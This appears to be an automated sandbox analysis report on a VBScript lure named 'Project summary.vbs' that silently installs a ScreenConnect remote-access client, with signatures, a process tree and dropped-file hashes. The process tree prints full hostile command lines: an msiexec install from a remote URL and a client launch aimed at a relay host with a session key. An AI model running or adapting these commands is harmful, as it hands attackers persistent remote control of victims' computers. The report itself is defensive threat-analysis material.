Analysis

  • max time kernel
    148s
  • max time network
    152s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    17/08/2026, 18:18

General

  • Target
    Project summary.vbs
  • Size 505B
  • Sample260817-wxt4vsfn21
  • SHA256 a3a98e563f28edbb7240cf1de23553bb84b29e97df71a22f50eb7cb8e6c2d797
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 42 IoCs
  • Use of msiexec (install) with remote resource 1 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 12 IoCs
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
  • Drops file in Program Files directory 16 IoCs
  • Drops file in Windows directory 14 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 9 IoCs
  • Modifies registry class 38 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 6 IoCs
  • Suspicious use of SendNotifyMessage 4 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Project summary.vbs"
    1⤵
    • Executes a VBScript file via the Windows Script Host.
    • Suspicious use of WriteProcessMemory
    PID:4132
    • C:\Windows\System32\wscript.exe
      "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\Project summary.vbs" /elevate
      2⤵
      • Executes a VBScript file via the Windows Script Host.
      • Suspicious use of WriteProcessMemory
      PID:4116
      • C:\Windows\System32\msiexec.exe
        "C:\Windows\System32\msiexec.exe" /i "https://asia1.screenconnect.com/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest"
        3⤵
        • Badlisted process makes network request
        • Use of msiexec (install) with remote resource
        • Enumerates connected drives
        • Drops file in Windows directory
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SetWindowsHookEx
        PID:5692
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:5044
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding D35D62351553E4B5EA7001C3D39BC252 C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:4856
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI42EC.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240731156 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:5104
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI4A40.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240732812 10 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.CheckMsiMotw
        3⤵
        • Badlisted process makes network request
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:2632
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI5230.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240734953 17 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.CheckMsiFileName
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:3012
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:5620
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding C7010B1D87D0969C147D74242A5DCD86
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:3068
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 7D9BF8CCC6646CCA5523999B9D8DC90D E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:3384
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:2140
    • C:\Program Files (x86)\ScreenConnect Client (a1d927f9718b9993)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (a1d927f9718b9993)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=instance-jyte36-relay.screenconnect.com&p=443&s=e3d95992-bc43-43c9-98fb-5ead11563af3&k=BgIAAACkAABSU0ExAAgAAAEAAQBl8rV9kdKWteVyTZNbpf4319Q91jNx23PqhbgwM8Zpfy21HUaA9iaNDB%2fAM4YhJFtTK8pYscql%2fYQJqePEXxTtci%2bE9fljJulq2t05AUf2ZYjMu%2f6wM8ANsE%2bPT6iaOWOUiyunwQr69HZgofMAYjqwXBVc%2frZQdun0fJ%2bUuwnfojucOmX7p37ndXqilRZOLkWHTflHyXK8LVLKkPJZQcIrhACUbUZ%2b4Xuyxq2sUgD6Y3uI5XnSIExXVX%2beA0XxLTKNhBJdI1C6EUHpprhoQBbVpBbuh0%2b4S6p6pa3jb7SMkf5IozNYWs%2bcJJnBnIv5qhcRxgVpuIrDrZ2jMJA%2fd%2bqt"
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:5504
      • C:\Program Files (x86)\ScreenConnect Client (a1d927f9718b9993)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (a1d927f9718b9993)\ScreenConnect.WindowsClient.exe" "RunRole" "e4c71ea5-cd80-49f8-9166-a702109d18c2" "User"
        2⤵
        • Executes dropped EXE
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        PID:5568

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          e59c1c0.rbs

          • Path C:\Config.Msi\e59c1c0.rbs
          • Size 214KB
          • SHA256 196f8689569ef850b531a32868cf2fef8989b2af7ad0fa89d712b34de5a344a4
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (a1d927f9718b9993)\Client.en-US.resources
          • Size 64KB
          • SHA256 a90983b3d26f9e6bb472663b84d13254349f62b0ad4c667fd76b3edd270240b2
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (a1d927f9718b9993)\Client.resources
          • Size 6KB
          • SHA256 bd34378ad99f7609fa0c7c8edde6337c738a61d288863015629329806a1cc728
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (a1d927f9718b9993)\ScreenConnect.Client.dll
          • Size 412KB
          • SHA256 8e5531c2b302f9c95ed32ac7481d3535b6d51147257d317686c07ea1a9cb8362
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (a1d927f9718b9993)\ScreenConnect.ClientService.dll
          • Size 92KB
          • SHA256 ed32fe0d924959020cbef0534a7ba612e94263ccc74837475f3b5a6a726acad0
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (a1d927f9718b9993)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 16b4c273a25526e7262716ebe9d46480962347191a034595f18be740d9ce1e17
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (a1d927f9718b9993)\ScreenConnect.Core.dll
          • Size 579KB
          • SHA256 f64cb7ab5f105c22348a22e02dd506ff45456884639fee0f322862112860af24
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (a1d927f9718b9993)\ScreenConnect.Windows.dll
          • Size 1.7MB
          • SHA256 c50d6e8d93ed197dd0cfb647743b42a2a6a9289f6db04092f56cefd6d569663e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (a1d927f9718b9993)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (a1d927f9718b9993)\ScreenConnect.WindowsClient.exe
          • Size 678KB
          • SHA256 2ad8f126461607aad3fa31a41f1f39bc74f471fd84191b43e205610db2c4cf09
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (a1d927f9718b9993)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (a1d927f9718b9993)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 837KB
          • SHA256 4868b7997b9b4260be2df752a81a750388243cdbea37e4d82a9e0101cd29d0c7
          • MD5 SHA1 SHA512 SSDEEP TLSH

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (a1d927f9718b9993)\system.config
          • Size 970B
          • SHA256 c41dd69cdb1fbb89e00c23522b3be9d1fb5c608e1169dd5eb43b3f85684ea1f0
          • MD5 SHA1 SHA512 TLSH

          MSI42EC.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\MSI42EC.tmp
          • Size 1.1MB
          • SHA256 de867af8055f81b7691f12175deb4c4e7f3bf97130e51761ed02182b0496e16f
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI42EC.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI42EC.tmp-\ScreenConnect.Core.dll
          • Size 569KB
          • SHA256 e92d94613443befebb55b08f80d10a2fdbfc58233e8dc95cfb4466fde12964f7
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI42EC.tmp-\ScreenConnect.InstallerActions.dll
          • Size 24KB
          • SHA256 d827d3575ca29f8a40ea5379c7df2b315fc72cbd93451de94e199740594b51bb
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI42EC.tmp-\ScreenConnect.Windows.dll
          • Size 1.7MB
          • SHA256 320b89343e896a8d2ebf537861d800a9aca88245cc3b5616bb5bea5cc6797fbb
          • MD5 SHA1 SHA512 SSDEEP TLSH

          CustomAction.config

          • Path C:\Users\Admin\AppData\Local\Temp\MSI4A40.tmp-\CustomAction.config
          • Size 234B
          • SHA256 7027b69ab6ebc9f3f7d2f6c800793fde2a057b76010d8cfd831cf440371b2b23
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.WindowsInstaller.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI4A40.tmp-\ScreenConnect.WindowsInstaller.dll
          • Size 137KB
          • SHA256 dbf379b93127345a83282380aee634d0b70ec731acfeea76617c76e76fdc764f
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSI385C.tmp

          • Path C:\Windows\Installer\MSI385C.tmp
          • Size 9.8MB
          • SHA256 9495bd480a811dd2b980f7602b239c104605dc92542e6e9a2e6c4c0ed7188610
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSIC0D6.tmp

          • Path C:\Windows\Installer\MSIC0D6.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          0p4s533e.newcfg

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (a1d927f9718b9993)\0p4s533e.newcfg
          • Size 883B
          • SHA256 2d8b3b46d9de16a1f46c9bd8cee7ac1fc29ff637daf1cc06afcfb005db569b41
          • MD5 SHA1 SHA512 TLSH

          gyj4u2hm.newcfg

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (a1d927f9718b9993)\gyj4u2hm.newcfg
          • Size 883B
          • SHA256 88b4e48a1d10dd60e5186964c85dfe6512607c2742dcd371d2c9978842765135
          • MD5 SHA1 SHA512 TLSH

          pwuxunev.newcfg

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (a1d927f9718b9993)\pwuxunev.newcfg
          • Size 683B
          • SHA256 9ab6d5a82fcaf64991854dcdcc5176d508b5044cfa9a27441ddbf91898095779
          • MD5 SHA1 SHA512 TLSH

          user.config

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (a1d927f9718b9993)\user.config
          • Size 520B
          • SHA256 5d12ae739bf51feb872f2570071e8dc07e799ceb391a32a6bb68f8f5cab77d67
          • MD5 SHA1 SHA512 TLSH

          metadata-2

          • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
          • Size 26.1MB
          • SHA256 abe3b627b647d5d5b2a131e0f3856bf0f7f2d9f3ea67f43180e8971282c6f92b
          • MD5 SHA1 SHA512 SSDEEP TLSH

          {98dad559-2ac5-42dc-9788-5e1b47a623bf}_OnDiskSnapshotProp

          • Path \??\Volume{c61f3bad-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{98dad559-2ac5-42dc-9788-5e1b47a623bf}_OnDiskSnapshotProp
          • Size 6KB
          • SHA256 fb1d5eef65b7f43c2d6218bc27b0b7b5ce406f04d587e6d23a9858e1357fb496
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/2632-68-0x0000000003EE0000-0x0000000003F08000-memory.dmp

          memory/5104-37-0x0000000006030000-0x00000000061E0000-memory.dmp

          memory/5104-33-0x0000000005CD0000-0x0000000005D64000-memory.dmp

          memory/5104-25-0x0000000003B80000-0x0000000003BAE000-memory.dmp

          memory/5104-38-0x00000000067A0000-0x0000000006D5A000-memory.dmp

          memory/5104-29-0x0000000003BC0000-0x0000000003BCC000-memory.dmp

          memory/5504-150-0x0000000003A30000-0x0000000003AC4000-memory.dmp

          memory/5504-165-0x0000000003B50000-0x0000000003BA0000-memory.dmp

          memory/5504-189-0x00000000040C0000-0x0000000004196000-memory.dmp

          memory/5504-184-0x0000000003C10000-0x0000000003C7C000-memory.dmp

          memory/5504-185-0x0000000003ED0000-0x0000000003F62000-memory.dmp

          memory/5504-154-0x0000000003C80000-0x0000000003E30000-memory.dmp

          memory/5504-144-0x0000000001610000-0x000000000162A000-memory.dmp

          memory/5504-187-0x0000000003BA0000-0x0000000003BE1000-memory.dmp

          memory/5568-210-0x000000001BBF0000-0x000000001BC84000-memory.dmp

          memory/5568-212-0x0000000002C30000-0x0000000002C4A000-memory.dmp

          memory/5568-213-0x000000001C180000-0x000000001C308000-memory.dmp

          memory/5568-211-0x000000001BE40000-0x000000001BFF0000-memory.dmp

          memory/5568-209-0x000000001B7D0000-0x000000001B83C000-memory.dmp

          memory/5568-207-0x0000000000B40000-0x0000000000BEE000-memory.dmp